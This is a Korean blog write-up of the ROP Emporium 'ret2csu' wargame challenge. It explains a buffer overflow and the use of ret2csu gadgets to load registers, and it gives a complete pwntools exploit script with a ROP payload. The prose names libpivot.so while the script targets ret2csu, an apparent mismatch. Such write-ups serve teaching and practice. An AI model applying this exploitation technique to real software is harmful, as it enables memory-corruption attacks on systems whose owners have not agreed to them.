728x90
반응형
1. intro
2. code 및 분석
2.1. code
코드는 대략 생략하자.
2.2. 분석
공격 준비로 바로 넘어가자.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
main에서 libpivot.so 라이브러리의 pwnme 함수를 호출한다.
libpivot.so 라이브러리 내에는 ret2win 함수가 있는데,
해당 함수에서는 앞선 한 문제와 같이 rdi, rsi, rdx에 각각 특정 값이 있어야 flag를 출력해준다.
그러므로 해당 값들을 레지스터에 넣어야하는데, 직접적으로 넣을 수 있는 gadget이 적절하지 않다.
이 때 사용할 수 있는 것이 csu이다.
이전에 작성해둔 문서를 참고하자.
2022.09.05 - [Tips & theory] - Return to csu
다만, 문제는 rdi에 8바이트 값을 넣어야하는데, csu에서는 4바이트만 넣을 수 있다는 점이다.
여기서 추가로 트릭이 하나 더 들어가는데 별도로 글을 작성해야겠다.
4. exploit
from pwn import *
p = process('./ret2csu')
rdi = 0x4006a3
pay = b'A' * 8*5
pay += p64(0x40069a)
pay += p64(0) #rbx = 0
pay += p64(1) #rbp = any
pay += p64(0x600e38) #r12 = call addr = ret2win
pay += p64(0xdeadbeefdeadbeef) #r13 = edi
pay += p64(0xcafebabecafebabe) #r14 = rsi
pay += p64(0xd00df00dd00df00d) #r15 = rdx
pay += p64(0x400680) #ret
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(rdi)
pay += p64(0xdeadbeefdeadbeef)
pay += p64(0x400516)
p.sendafter(b'> ', pay)
p.interactive()
728x90
반응형
'Wargame > ROP Emporium' 카테고리의 다른 글
pivot (0) | 2023.07.07 |
---|---|
fluff (0) | 2023.07.07 |
badchar (0) | 2023.07.07 |
write4 (0) | 2023.07.07 |
callme (0) | 2023.07.07 |